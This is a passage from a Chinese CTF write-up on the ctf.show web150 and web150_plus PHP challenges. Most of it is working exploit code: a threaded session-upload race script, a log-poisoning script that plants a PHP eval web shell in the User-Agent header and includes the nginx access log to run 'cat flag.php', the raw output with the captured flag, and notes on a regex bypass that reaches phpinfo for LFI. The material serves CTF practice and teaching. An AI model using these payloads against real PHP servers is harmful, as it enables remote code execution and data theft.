                        files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})

def read(session):

while event.isSet():
    res = session.post(
        'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
        data=data
    )
    if 'flag{' in res.text:
        print(res.text)
        event.clear()
    else:
        print('[*]retrying...')

if name == "__main__":

event = threading.Event()
event.set()
with requests.session() as session:
    for i in range(1, 5):
        threading.Thread(target=write, args=(session,)).start()

    for i in range(1, 5):
        threading.Thread(target=read, args=(session,)).start()

解法2:
日志包含绕过:

import requests

url = "http://09c4071e-c8aa-41ff-84ab-f93014f5c9fd.chall.ctf.show:8080/" + "?isVIP=1"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[bit]);?>'
}
data = {
    'ctf': '/var/log/nginx/access.log',
    'bit':'system("cat flag.php");'
}
result = requests.post(url=url, headers=headers, data=data)
print(result.text)

运行结果:

<code><span style="color: #000000">
<br /></span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: 
<br /></span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="c<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="co<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="co<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">vip</span><span style="color: #007700">?</span><span style="color: #0000BB">TRUE</span><span style="color: #007700">:</span><span st<br />&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;</span><span style="color: #0000BB">__autoload</span><span style="color: #007700">(</span><span style="color: #000<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$class</span><span style="color: #007700">()<br /></span><span style="color: #0000BB">$key&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_SERVER</span><span style=<br />if(</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">'/\_|&nbsp;|\[|\]|\?/'</span><<br /></span><span style="color: #0000BB">$ctf&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="c<br /></span><span style="color: #0000BB">extract</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007<br />if(</span><span style="color: #0000BB">class_exists</span><span style="color: #007700">(</span><span style="color: #0000BB">$__CTFSHOW__</span><span sty<br />if(</span><span style="color: #0000BB">$isVIP&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">strrpos</span><span style="color: #007700">(</span><span style="color: #0000BB">$ctf</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">":"</spa<br /></span>nbsp;&nbsp;&nbsp;include(</span><span style="color: #0000BB">$ctf</span><span style="color: #007700">);
</span>
</code>172.12.0.2 - - [08/Mar/2021:07:12:41 +0000] "GET / HTTP/1.1" 200 5944 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"
172.12.0.2 - - [08/Mar/2021:07:13:35 +0000] "POST /?isVIP=1 HTTP/1.1" 200 6093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"
172.12.0.2 - - [08/Mar/2021:07:14:13 +0000] "POST /?isVIP=1 HTTP/1.1" 200 6257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-21 21:31:23
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{fa6a646d-0545-44f5-9e96-93bf3cdc34bc}";"

web150_plus

好像还是没修复,还可以用上面的脚本打
只是多过滤了log

使用?..CTFSHOW..=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性

__autoload()
这个函数并不属于CTFSHOW这个类的,全局都可以用
在定义这个函数后,尝试使用不存在的类的时候会自动加载
用法参考 https://www.php.cn/php-weizijiaocheng-426838.html
class_exists()同样会触发这个函数
传入?..CTFSHOW..=phpinfo就会执行phpinfo()
然后可以用LFI via PHPINFO
可以参考:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
修改一下exp再打

标签: none

暂无评论